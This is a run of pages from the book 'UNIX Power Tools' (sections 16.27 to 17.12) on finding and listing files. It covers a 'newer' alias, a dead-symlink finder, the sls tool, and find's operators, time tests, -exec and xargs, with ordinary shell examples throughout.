Previous: 16.25 Listing Files by Age and Size | UNIX Power Tools | Next: 16.27 newer: Print the Name of the Newest File
16.25 Listing Files by Age and Size | Book Index | 16.27 newer: Print the Name of the Newest File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.27 newer: Print the Name of the Newest File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.26 Finding Text Files with findtext Chapter 16
Where Did I Put That? 		Next: 16.28 oldlinks: Find Unconnected Symbolic Links

16.27 newer: Print the Name of the Newest File

Here's a quick alias that figures out which file in a group is the newest:

-d
alias newer "ls -dt \!* | head -1"

csh_init
sh_init
 If your system doesn't have a head (25.20) command, use sed 1q instead.

For example, let's say that you have two files named plan.v1 and and plan.v2. If you're like me, you (often) edit the wrong version by mistake - and then, a few hours later, can't remember what you did. You can use this alias to figure out which file you changed most recently:

*
% newer plan.v*
plan.v1

Oops. I edited the wrong version by mistake. I could also have used backquotes (9.16) to handle this in one step:

% emacs `newer plan.*`

- ML

Previous: 16.26 Finding Text Files with findtext | UNIX Power Tools | Next: 16.28 oldlinks: Find Unconnected Symbolic Links
16.26 Finding Text Files with findtext | Book Index | 16.28 oldlinks: Find Unconnected Symbolic Links
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.28 oldlinks: Find Unconnected Symbolic Links

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.27 newer: Print the Name of the Newest File Chapter 16
Where Did I Put That? 		Next: 16.29 sls: Super ls with Format You Can Choose

16.28 oldlinks: Find Unconnected Symbolic Links

One problem with symbolic links is that they're relatively "fragile" (18.6). The link and the file itself are different kinds of entities; the link only stores the name of the "real" file. Therefore, if you delete or rename the real file, you can be left with a "dead" or "old" link: a link that points to a file that doesn't exist.

This causes no end of confusion, particularly for new users. For example, you'll see things like this:

% ls nolink
nolink
% cat nolink
cat: nolink: No such file or directory

The file's obviously there, but cat tells you that it doesn't exist.

There's no real solution to this problem, except to be careful. One way to be careful is to write a script that checks links to see whether or not they exist. Here's one such script from Tom Christiansen; it uses find to track down all links, and then uses perl (37.1) to print the names of links that point to nonexistent files.

#!/bin/sh
find . -type l -print | perl -nle '-e || print'

The script only lists "dead" links; it doesn't try to delete them or do anything drastic. If you want to take some other action (like deleting these links automatically), you can use the output of the script in backquotes (9.16). For example:

% rm `oldlinks`

- ML

Previous: 16.27 newer: Print the Name of the Newest File | UNIX Power Tools | Next: 16.29 sls: Super ls with Format You Can Choose
16.27 newer: Print the Name of the Newest File | Book Index | 16.29 sls: Super ls with Format You Can Choose
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.29 sls: Super ls with Format You Can Choose

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.28 oldlinks: Find Unconnected Symbolic Links Chapter 16
Where Did I Put That? 		Next: 17. Finding Files with find

16.29 sls: Super ls with Format You Can Choose

The ls -l command, and related commands like stat (21.13), give lots of information about a file (more exactly, about a file's inode (1.22)). The information is printed in a way that's (sort of) nice to look at. But the format might not be exactly what you want. That format can be tough for shell programmers to use: parsing the output with sed, awk, and others is tricky and a pain (article 16.25 has an example). Finally, the ls -l output is different on BSD and System V systems.

sls
 The sls command solves those problems and more. It lets you:

  • Make your own output format: pick the information you want to see and the order it's shown.

  • Sort the output on one or more fields.

  • Make a consistent date format: numeric or in words, include the seconds if you want to, and more. Best of all, the date format won't change for files more than six months old (unless you use the -u option).

And there's much more.

The manual page on the disc explains sls formatting in detail. Here are a few examples. Let's start with the style of ls -l output that has fixed-width columns and doesn't show group ownership. (The default sls -l is similar, but its date format doesn't change after six months and it doesn't have the total line.)

% ls -l
total 3
-rw-r-----  1 jerry        1641 Feb 29  1992 afile
lrwxrwxrwx  1 jerry           8 Nov 18 00:38 bfile -> ../bfile

Here's a more user-friendly format for people who aren't UNIX hackers (it might be best to put this into an alias or shell function (10.1)). The date and time are shown, followed by the owner's name, the size in kbytes, and the filename without the symbolic link information like -> ../bfile:

% sls -p '%m"%F %d, 19%y  %r" %u %4skK %n'
February 29, 1992  03:43:00 PM    jerry    2K afile
November 18, 1992  00:38:22 AM    jerry    1K bfile

How about a simple ls output that shows all three file dates (16.5): modification, access, and inode change? We'll use echo (8.6) to print a title first:

% echo 'modify   access   inode'; \
sls -p '%m"%D" %a"%D" %c"%D" %n'
modify   access   inode
02/29/92 09/17/92 11/18/92 afile
11/18/92 11/18/92 11/18/92 bfile

Finally, let's ask sls to make a set of UNIX commands that could be used at the end of a shell archive (19.2) file. These commands would recreate the modes, date and owner (with a numeric UID) as the files are extracted from the archive:

touch

% sls -p 'chmod %P %n; chown %U %n; touch %m"%m%d%H%M%y" %n'
chmod 640 afile; chown  225 afile; touch 0229154392 afile
chmod 777 bfile; chown  225 bfile; touch 1118003892 bfile

I didn't show the sorting options or many of the other output format characters. But I hope I've given you an idea (or ten).

- JP

Previous: 16.28 oldlinks: Find Unconnected Symbolic Links | UNIX Power Tools | Next: 17. Finding Files with find
16.28 oldlinks: Find Unconnected Symbolic Links | Book Index | 17. Finding Files with find
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] Finding Files with find

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 16.29 sls: Super ls with Format You Can Choose Chapter 17 Next: 17.2 Delving Through a Deep Directory Tree

17. Finding Files with find

Contents:
The find Command Is Great; The Problem Is Finding How to Use It
Delving Through a Deep Directory Tree
Don't Forget -print
Looking for Files with Particular Names
Searching for Old Files
Be an Expert on find Search Operators
The Times that find Finds
Exact File Time Comparisons
Problems with -newer
Running Commands on What You Find
Using -exec to Create Custom Tests
Finding Many Things with One Command
Searching for Files by Type
Searching for Files by Size
Searching for Files by Permission
Searching by Owner and Group
Duplicating a Directory Tree (No Pathnames with find {} Operator)
Using "Fast find"
Finding Files (Much) Faster with a find Database
grepping a Directory Tree (and a Gotcha)
lookfor: Which File Has that Word?
Finding the Links to a File
Finding Files with -prune
Skipping Some Parts of a Tree in find (A More Selective -prune)
Keeping find From Searching Networked Filesystems

17.1 The find Command Is Great; The Problem Is Finding How to Use It

find is one of UNIX's most useful and important utilities. It finds files that match a given set of parameters, ranging from the file's name to its modification date. In this chapter, we'll be looking at many of the things it can do. As an introduction, here's a quick summary of its features and operators:

% find path operators

where path is the directory in which find will begin to search and operators (or, in more customary jargon, options) tell find which files you're interested in. The operators are:

-name filename

Find files with the given filename. This is the most commonly used operator. filename may include wildcards (15.2), but if it does, it must be quoted to prevent the shell from interpreting the wildcards. See article 17.4.

-perm mode

Find files with the given access mode (22.2). You must give the access mode in octal (1.23). See articles 17.10 and 17.15.

-type c

The files of the given type, specified by c. c is a one-digit code; for example, f for a plain file, b for a block special file, l for a symbolic link, etc. See article 17.13.

-user name

Find files belonging to user name. name may also be a user ID number (38.3). See article 17.16.

-group name

Find files belonging to group name. name may also be a group ID number (38.3). See article 17.16.

-size n

Find files that are n blocks long. A block equals 512 bytes. The notation +n says "find files that are over n blocks long." The notation nc says "find files that are n characters long." Can you guess what +nc means? See article 17.14.

-inum n

Find files with the inode number (1.22) n. See article 17.10.

-atime n

Find files that were accessed n days ago. +n means "find files that were accessed over n days ago" (i.e., not accessed in the last n days). -n means "find files that were accessed less than n days ago" (i.e., accessed in the last n days). See articles 17.5 and 17.7.

-mtime n

Similar to atime, except that it checks the time the file's contents were modified. See articles 17.5 and 17.7.

-ctime n

Similar to atime, except that it checks the time the inode (1.22) was last changed. "Changed" means that the file was modified or that one of its attributes (for example, its owner) was changed. See articles 17.5 and 17.7.

-newer file

Find files that have been modified more recently than the given file. See articles 17.8 and 17.9.

Of course, you often want to take some action on files that match several criteria. So we need some way to combine several operators:

operator1 -a operator2

Find files that match both operator1 and operator2. The -a isn't necessary; when two search parameters are juxtaposed, find assumes you want files that match both of them. See article 17.12.

operator1 -o operator2

Find files that match either operator1 or operator2. See article 17.6.

! operator

Find all files that do not match the given operator. The ! performs a logical NOT operation. See article 17.6.

\( expression \)

Logical precedence; in a complex expression, evaluate this part of the expression before the rest. See article 17.6.

Another group of operators tells find what action to take when it locates a file:

-print

Print the file's name on standard output. See articles 17.2 and 17.3.

-exec command

Execute command. To include the pathname of the file that's just been found in command, use the special symbol {}. command must end with a backslash followed by a semicolon (\;). For example:

% find -name "*.o" -exec rm -f {} \;

tells find to delete any files whose names end in .o. See article 17.10.

-ok command

Same as -exec, except that find prompts you for permission before executing command. This is a useful way to test find commands. See article 17.10.

A last word: find is one of the tools that vendors frequently fiddle with, adding (or deleting) a few operators that they like (or dislike). The operators listed above should be valid on virtually any system. If you check your system's manual page, you may find a few others.

- ML

Previous: 16.29 sls: Super ls with Format You Can Choose | UNIX Power Tools | Next: 17.2 Delving Through a Deep Directory Tree
16.29 sls: Super ls with Format You Can Choose | Book Index | 17.2 Delving Through a Deep Directory Tree
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.2 Delving Through a Deep Directory Tree

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.1 The find Command Is Great; The Problem Is Finding How to Use It Chapter 17
Finding Files with find 		Next: 17.3 Don't Forget -print

17.2 Delving Through a Deep Directory Tree

The first, and most obvious, use is find's ability to locate old, big, or unused files whose locations you've forgotten. However, what may be find's most fundamentally important characteristic is its ability to travel down subdirectories.

Normally the shell provides the argument list to a command. That is, UNIX programs are frequently given filenames and not directory names. Only a few programs can be given a directory name and march down the directory searching for subdirectories. The programs find, tar, du, and diff do this. Some versions of chmod, chgrp, ls, rm, and cp will, but only if a -r or -R option is specified.

In general, most commands do not understand directory structures, and rely on the shell to expand wildcards (15.2) to directory names. That is, to delete all files whose names end with a .o in a group of directories, you could type:

% rm *.o */*.o */*/*.o

Not only is this tedious to type, it may not find all of the files you are searching for. The shell has certain blind spots. It will not match files in directories whose names start with a dot. And, if any files match */*/*/*.o, they would not be deleted.

Another problem is typing the above and getting the error Arguments too long. This means the shell would expand too many arguments from the wildcards you typed.

find is the answer to these problems.

A simple example of find is using it to print the names of all the files in the directory and all subdirectories. This is done with the simple command:

% find . -print

The first arguments to find are directory and file pathnames - in that example, a dot (.) is one name for the current directory (1.21). The arguments after the pathnames always start with a minus sign (-) and tell find what to do once it finds a file. These are the search operators. In this case, the filename is printed. You can use the tilde (~) (14.11) supported by the C shell, as well as particular paths. For example:

% find ~ ~barnett /usr/local -print

And if you have a very slow day, you can type:

% find / -print

which will list every file on the system. [This command is okay on single-user workstations with their own disks. It can tie up disks on multiuser systems enough to make users think of gruesome crimes! If you really need that list and your system has fast find (17.18), try the command find '/*' instead. -JP ]

find sends its output to standard output, so once you've "found" a list of filenames, you can pass them to other commands. One way to use this is with command substitution : (9.16)

-d
% ls -l `find . -print`

The find command is executed, and its output replaces the backquoted string. ls sees the output of find, and doesn't even know find was used.

Warning! An alternate method uses the xargs (9.21) command. xargs and find work together beautifully. xargs executes its arguments as commands and reads standard input to specify arguments to that command. xargs knows the maximum number of arguments each command line can handle and does not exceed that limit. While the command:

% ls -ld `find / -print`

might generate an error when the command line is too large, the equivalent command using xargs will never generate that error:

% find / -print | xargs ls -ld

- BB

Previous: 17.1 The find Command Is Great; The Problem Is Finding How to Use It | UNIX Power Tools | Next: 17.3 Don't Forget -print
17.1 The find Command Is Great; The Problem Is Finding How to Use It | Book Index | 17.3 Don't Forget -print
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.3 Don't Forget -print

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.2 Delving Through a Deep Directory Tree Chapter 17
Finding Files with find 		Next: 17.4 Looking for Files with Particular Names

17.3 Don't Forget -print

"Why didn't find find my file?" I wondered sometimes. "I know it's there!"

More often than not, I'd forgotten to use -print. Without -print (or -ls, on versions of find that have it), find may not print any pathnames. [This is probably the feature that confuses and "turns off" more beginning find users than any other. -TOR ] Some versions of find will output an error message or add the missing - print for you - but you shouldn't expect it.

- JP

Previous: 17.2 Delving Through a Deep Directory Tree | UNIX Power Tools | Next: 17.4 Looking for Files with Particular Names
17.2 Delving Through a Deep Directory Tree | Book Index | 17.4 Looking for Files with Particular Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.4 Looking for Files with Particular Names

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.3 Don't Forget -print Chapter 17
Finding Files with find 		Next: 17.5 Searching for Old Files

17.4 Looking for Files with Particular Names

You can look for particular files by using a regular expression with metacharacters (shell wildcards, not grep-like expressions (26.2)) as an argument to the -name operator. Because the shell also understands these metacharacters, it is necessary to quote (8.14) them so they are passed to find unchanged. Any kind of quoting can be used:

% find . -name \*.o -print
% find . -name '*.o' -print
% find . -name "[a-zA-Z]*.o" -print

Any directory along the path to the file is not matched with the -name operator, merely the name at the end of the path. For example, the commands above would not match the pathname ./subdir.o/afile-but they would match ./subdir.o and ./src/subdir/prog.o.

csh_init
sh_init
Article 17.24 shows a way to match directories in the middle of a path. [Here's a "find file" alias:

alias ff "find . -name '*\!{*}*' -ls"

Give it a file or directory name; the alias will give a long listing of any file or directory names that contain the argument. For example:

% ff makedirs
415863  3 -rw-r--r--  1 359   daemon    2072 Feb 19  1994 ./adir/makedirs.sh

Very handy. -JP ]

- BB

Previous: 17.3 Don't Forget -print | UNIX Power Tools | Next: 17.5 Searching for Old Files
17.3 Don't Forget -print | Book Index | 17.5 Searching for Old Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.5 Searching for Old Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.4 Looking for Files with Particular Names Chapter 17
Finding Files with find 		Next: 17.6 Be an Expert on find Search Operators

17.5 Searching for Old Files

If you want to find a file that is seven days old, use the -mtime operator:

% find . -mtime 7 -print

An alternate way is to specify a range of times:

% find . -mtime +6 -mtime -8 -print

mtime is the last modified time of a file. If you want to look for files that have not been used, check the access time with the -atime argument. A command to list all files that have not been read in 30 days or more is:

% find . -type f -atime +30 -print

It is difficult to find directories that have not been accessed because the find command modifies the directory's access time.

There is another time associated with each file, called the ctime, the inode (1.22) change time. Access it with the -ctime operator. The ctime will have a more recent value if the owner, group, permission, or number of links has changed, while the file itself does not. If you want to search for files with a specific number of links, use the -links operator.

Article 16.5 has more information about these three times. Article 17.7 explains how find checks them.

- BB

Previous: 17.4 Looking for Files with Particular Names | UNIX Power Tools | Next: 17.6 Be an Expert on find Search Operators
17.4 Looking for Files with Particular Names | Book Index | 17.6 Be an Expert on find Search Operators
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.6 Be an Expert on find Search Operators

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.5 Searching for Old Files Chapter 17
Finding Files with find 		Next: 17.7 The Times that find Finds

17.6 Be an Expert on find Search Operators

find is admittedly tricky. Once you get a handle on its abilities, you'll learn to appreciate its trickiness. But before thinking about anything remotely tricky, let's look at a simple find command:

% find . -name "*.c" -print

The . tells find to start its search in the current directory (.) (1.21), and to search all subdirectories of the current directory. The -name "*.c" (17.4) tells find to find files whose names end in .c. The -print operator tells find how to handle what it finds: print the names on standard output.

All find commands, no matter how complicated, are really just variations on the one above. You can specify many different names, look for old files, and so on; no matter how complex, you're really only specifying a starting point, some search parameters, and what to do with the files (or directories or links or...) you find.

The key to using find in a more sophisticated way is realizing that search parameters are really "logical expressions" that find evaluates. That is, find:

  • Looks at every file, one at a time.

  • Uses the information in the file's inode (1.22) to evaluate an expression given by the command-line operators.

  • Takes the specified action (e.g., printing the file's name) if the expression's value is "true."

So, something like -name <">*.c<"> is really a logical expression that evaluates to true if the file's name ends in .c.

Once you've gotten used to thinking this way, it's easy to use the AND, OR, NOT, and grouping operators. So let's think about a more complicated find command. Let's look for files that end in .o or .tmp AND that are more than five days old, AND print their pathnames. We want an expression that evaluates true for files whose names match either *.o OR *.tmp:

-name "*.o" -o -name "*.tmp"

If either condition is true, we want to check the access time. So we put the expression above within parentheses (quoted (8.14) with backslashes so the shell doesn't treat the parentheses as subshell operators (13.7)). We also add a -atime operator (17.5):

-atime +5 \( -name "*.o" -o -name "*.tmp" \)

The parentheses force find to evaluate what's inside as a unit. The expression is true if "the access time is more than 5 days ago and \( either the name ends with .o or the name ends with .tmp \)." If you didn't use parentheses, the expression would mean something different:

-atime +5 -name "*.o" -o -name "*.tmp"   Wrong!

When find sees two operators next to each other with no -o between, that means AND. So the "wrong" expression is true if "either \( the access time is more than 5 days ago and the name ends with .o \) or the name ends with .tmp." This incorrect expression would be true for any name ending with .tmp, no matter how recently the file was accessed - the -atime doesn't apply. (There's nothing really "wrong" or illegal in this second expression - except that it's not what we want. find will accept the expression and do what we asked - it just won't do what we want.)

The following command, which is what we want, lists files in the current directory and subdirectories that match our criteria:

% find . -atime +5 \( -name "*.o" -o -name "*.tmp" \) -print

What if we wanted to list all files that do not match these criteria? All we want is the logical inverse of this expression. The NOT operator is ! (exclamation point). The ! operator applies to the expression on its right. Since we want it to apply to the entire expression, and not just the -atime operator, we'll have to group everything from -atime to "*.tmp" within another set of parentheses.

% find . ! \( -atime +5 \( -name "*.o" -o -name "*.tmp" \) \) -print

For that matter, even -print is an expression; it always evaluates to true. So are -exec and -ok (17.10); they evaluate to true when the command they execute returns a zero status. (There are a few situations in which this can be used to good effect; see article 17.11 for some of those.) Article 17.12 has more about find expressions.

But before you try anything too complicated, you need to realize one thing. find isn't as sophisticated as you might like it to be. You can't squeeze all the spaces out of expressions, as if it were a real programming language. You need spaces before and after operators like !, \(, \), and {}, in addition to spaces before and after every other operator. Therefore, a command line like the following won't work:

% find . !\(-atime +5 \(-name "*.o" -o -name "*.tmp"\)\) -print

A true power user will realize that find is relying on the shell to separate the command line into meaningful chunks (8.5), or tokens. And the shell, in turn, is assuming that tokens are separated by spaces. When the shell gives find a chunk of characters like *.tmp)) (without the double quotes or backslashes - the shell took them away), find gets confused; it thinks you're talking about a weird filename pattern that includes a couple of parentheses.

Once you start thinking about expressions, find's syntax ceases to be obscure - in some ways, it's even elegant. It certainly allows you to say what you need to say with reasonable efficiency.

- ML, JP

Previous: 17.5 Searching for Old Files | UNIX Power Tools | Next: 17.7 The Times that find Finds
17.5 Searching for Old Files | Book Index | 17.7 The Times that find Finds
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.7 The Times that find Finds

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.6 Be an Expert on find Search Operators Chapter 17
Finding Files with find 		Next: 17.8 Exact File Time Comparisons

17.7 The Times that find Finds

The times that go with the find operators -mtime, -atime, and -ctime (17.4) aren't documented very well. The times are in days:

  • A number with no sign, for example, 3 (as in -mtime 3 or -atime 3), means the 24-hour period that ended exactly three days ago (in other words, between 96 and 72 hours ago).

  • A number with a minus sign (-) refers to the period since that time. For example, -3 (as in -mtime -3) is any time between now and three days ago (in other words, between 0 and 72 hours ago).

  • Naturally, a number with a plus sign (+) refers to the 24-hour period before that time. For example, +3 (as in -mtime +3) is any time more than three days ago (in other words, more than 96 hours ago).

Got that? Then you should see that -atime -2 and -atime 1 are both true on files that have been accessed between 48 and 24 hours ago. (-atime -2 is also true on files accessed 24 hours or less ago.)

For more exact comparisons, use find -newer with touch (17.8).

- JP

Previous: 17.6 Be an Expert on find Search Operators | UNIX Power Tools | Next: 17.8 Exact File Time Comparisons
17.6 Be an Expert on find Search Operators | Book Index | 17.8 Exact File Time Comparisons
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.8 Exact File Time Comparisons

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.7 The Times that find Finds Chapter 17
Finding Files with find 		Next: 17.9 Problems with -newer

17.8 Exact File Time Comparisons

One problem with find's time operators (17.5, 17.7) (-atime and its brethren) is that they don't allow very exact comparisons. They only allow you to specify time to within a day. Sometimes that's just not good enough. You think that your system was corrupted at roughly 4 p.m. yesterday (March 20); you want to find any files that were modified after that point, so you can inspect them. Obviously, you'd like something more precise than "give me all the files that were modified in the last 24 hours."

Some versions of touch (21.7), and other freely available commands like it, can create a file with an arbitrary timestamp. That is, you can use touch to make a file that's backdated to any point in the past (or, for that matter, postdated to some point in the future). This feature, combined with find's -newer operator, lets you make comparisons accurate to one minute or less.

For example, to create a file dated 4 p.m., March 20, give the command:

/tmp
% touch 03201600 /tmp/4PMyesterday

Then to find the files created after this, give the command:

% find . -newer /tmp/4PMyesterday -print

What about "older" files? Older files are "not newer" files, and find has a convenient NOT operator (!) for just this purpose. So let's say that you want to find files that were created between 10:46 a.m. on July 3, 1982, and 9:37 p.m. on August 4, 1985. You could use the following commands:

% touch 0703104682 /tmp/file1
% touch 0804213785 /tmp/file2
% find . -newer /tmp/file1 ! -newer /tmp/file2 -print
% rm /tmp/file[12]

- ML

Previous: 17.7 The Times that find Finds | UNIX Power Tools | Next: 17.9 Problems with -newer
17.7 The Times that find Finds | Book Index | 17.9 Problems with -newer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.9 Problems with -newer

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.8 Exact File Time Comparisons Chapter 17
Finding Files with find 		Next: 17.10 Running Commands on What You Find

17.9 Problems with -newer

You may run into problems with the -newer (17.8) operator if you try to use it twice in the same command. Let's say that you want to find all files that are newer than filea but older than fileb. The obvious way to do this would be with the command:

% find . -newer filea ! -newer fileb -print

However, most versions of find can only work with one date at a time. When find reads the date of fileb, it discards the date of filea, and uses fileb's date in both places. So it's really trying to find files that are newer than fileb but older than fileb, and will (obviously) find nothing at all.

You can work around this by figuring out the number of days since filea and fileb were modified, and rewriting the command using two -mtime operators. -mtime isn't afflicted by the same bug.

As with all bugs (or "features"), some vendors may have fixed it. So your system may not be afflicted with the problem. A find expression with two -newer operators apparently works under SunOS 4.1, but not under previous SunOS releases. It also seems to work under SVR4. The GNU version (on the CD-ROM) doesn't have the bug.

- ML

Previous: 17.8 Exact File Time Comparisons | UNIX Power Tools | Next: 17.10 Running Commands on What You Find
17.8 Exact File Time Comparisons | Book Index | 17.10 Running Commands on What You Find
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.10 Running Commands on What You Find

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.9 Problems with -newer Chapter 17
Finding Files with find 		Next: 17.11 Using -exec to Create Custom Tests

17.10 Running Commands on What You Find

[Often, when you find a file, you don't just want to see its name; you want to do something, like grep for a text string. To do this, use the -exec operator. This allows you to specify a command that is executed upon each file that is found. -TOR ]

The syntax is peculiar and in many cases, it is simpler just to pipe the output of find to xargs (17.2). However, there are cases where -exec is just the thing, so let's plunge in and explain its peculiarities.

The -exec operator allows you to execute any command, including another find command. If you consider that for a moment, you realize that find needs some way to distinguish the command it's executing from its own arguments. The obvious choice is to use the same end-of-command character as the shell (i.e., the semicolon). Since the shell uses the semicolon (8.5) itself, it is necessary to escape the character with a backslash or quotes.

Therefore, every -exec operator ends with the characters \;. There is one more special argument that find treats differently: {}. These two characters are used as the variable whose name is the file find found. Don't bother rereading that last line. An example will clarify the usage. The following is a trivial case, and uses the -exec operator with echo (8.6) to mimic the -print operator:

% find . -exec echo {} \;

The C shell uses the characters { and } (9.5), but doesn't change {} together, which is why it is not necessary to quote these characters. The semicolon must be quoted, however. Quotes can be used instead of a backslash:

% find . -exec echo {} ';'

as both will sneak the semicolon past the shell and get it to the find command. As I said before, find can even call find. If you wanted to list every symbolic link in every directory owned by a group staff, you could execute:

`...`
% find `pwd` -type d -group staff -exec find {} -type l -print \;

To search for all files with group-write permission and remove the permission, you can use:

-perm
% find . -perm -20 -exec chmod g-w {} \;

or:

% find . -perm -20 -print | xargs chmod g-w

The difference between -exec and xargs is subtle. The first one will execute the program once per file, while xargs can handle several files with each process. However, xargs may have problems (9.22) with filenames that contain embedded spaces.

Occasionally people create a strange file that they can't delete. This could be caused by accidentally creating a file with a space or some control character in the name. find and -exec can delete this file, while xargs could not. In this case, use ls -il to list the files and i-numbers (1.22), and use the -inum operator with -exec (23.16) to delete the file:

% find . -inum 31246 -exec rm {} ';'

If you wish, you can use -ok which does the same as -exec, except the program asks you first to confirm the action before executing the command. It is a good idea to be cautious when using find, because the program can make a mistake into a disaster. When in doubt, use echo as the command. Or send the output to a file and examine the file before using the file as input to xargs. This is how I discovered that find requires {} to stand alone in the arguments to -exec. I wanted to rename some files using -exec mv {} {}.orig but find wouldn't replace the {} in {}.orig. I learned that I have to write a shell script (17.11) that I tell find to execute. [A little Bourne shell while loop (44.10) with redirected input (45.23) can handle that too:

>

$ find ... -print |
> while read file
> do mv "$file" "$file.orig"
> done

find writes the filenames to its standard output. The while loop and its read command (44.13) read the filenames from standard input, then make them available as $file, one by one. -JP ]

Articles 17.12 and 17.24 have more examples of -exec.

- BB

Previous: 17.9 Problems with -newer | UNIX Power Tools | Next: 17.11 Using -exec to Create Custom Tests
17.9 Problems with -newer | Book Index | 17.11 Using -exec to Create Custom Tests
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.11 Using -exec to Create Custom Tests

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.10 Running Commands on What You Find Chapter 17
Finding Files with find 		Next: 17.12 Finding Many Things with One Command

17.11 Using -exec to Create Custom Tests

Here's something that will really make your head spin. Remember that -exec doesn't necessarily evaluate to "true"; it only evaluates to true if the command it executes returns a zero exit status (44.7). You can use this to construct custom find tests.

Assume that you want to list files that are "beautiful." You have written a program called beauty that returns zero if a file is beautiful, and non-zero otherwise. (This program can be a shell script (44.11), a perl (37.1) script, an executable from a C program, or anything you like.)

Here's an example:

% find . -exec beauty {} \; -print

In this command, -exec is just another find operator. The only difference is that we care about its value; we're not assuming that it will always be "true." find executes the beauty command for every file. Then -exec evaluates to true when find is looking at a "beautiful" program, causing find to print the filename. (Excuse me, causing find to evaluate the -print. :-))

Of course, this ability is capable of infinite variation. If you're interested in finding beautiful C code, you could use the command:

% find . -name "*.[ch]" -exec beauty {} \; -print

And so on. For performance reasons, it's a good idea to put the -exec operator as close to the end as possible. This avoids starting processes unnecessarily; the -exec command will execute only when the previous operators evaluate to true.

- JP, ML

Previous: 17.10 Running Commands on What You Find | UNIX Power Tools | Next: 17.12 Finding Many Things with One Command
17.10 Running Commands on What You Find | Book Index | 17.12 Finding Many Things with One Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.12 Finding Many Things with One Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 17.11 Using -exec to Create Custom Tests Chapter 17
Finding Files with find 		Next: 17.13 Searching for Files by Type

17.12 Finding Many Things with One Command

Running find is fairly time-consuming, and for good reason: it has to read every inode (1.22) in the directory tree that it's searching. Therefore, it's a good idea to combine as many things as you can into a single find command. If you're going to walk the entire tree, you may as well accomplish as much as possible in the process.

Let's work from an example. Assume that you want to write a command (eventually for inclusion in a shell script) that sets file access modes (22.2) correctly. You want to change all directories to 771 access, 600 access for all backup files (*.BAK), 755 access for all shell scripts (*.sh), and 644 access for all text files (*.txt). You can do all this with one command:

$ find . \( -type d       -a -exec chmod 771 {} \; \) -o \
         \( -name "*.BAK" -a -exec chmod 600 {} \; \) -o \
         \( -name "*.sh"  -a -exec chmod 755 {} \; \) -o \
         \( -name "*.txt" -a -exec chmod 644 {} \; \)

Why does this work? Remember that -exec is really just another part of the expression; it evaluates to true when the following command is successful. It isn't an independent action that somehow applies to the whole find operation. Therefore, exec can be mixed freely with -type, -name, and so on. (Also, see article 17.11.)

However, there's another important trick here. Look at the first chunk of the command. It says: "If this file is a directory and the chmod command executes successfully..." Wait. Why doesn't the -exec execute a chmod on every file in the directory, trying to see whether or not it's successful?

Logical expressions are evaluated from left to right; and, in any chunk of the expression, evaluation stops once it's clear what the outcome is. Consider the logical expression "`A AND B' is true." If A is false, you know that the result of "`A AND B' is true" will also be false - so there's no need to look at B.

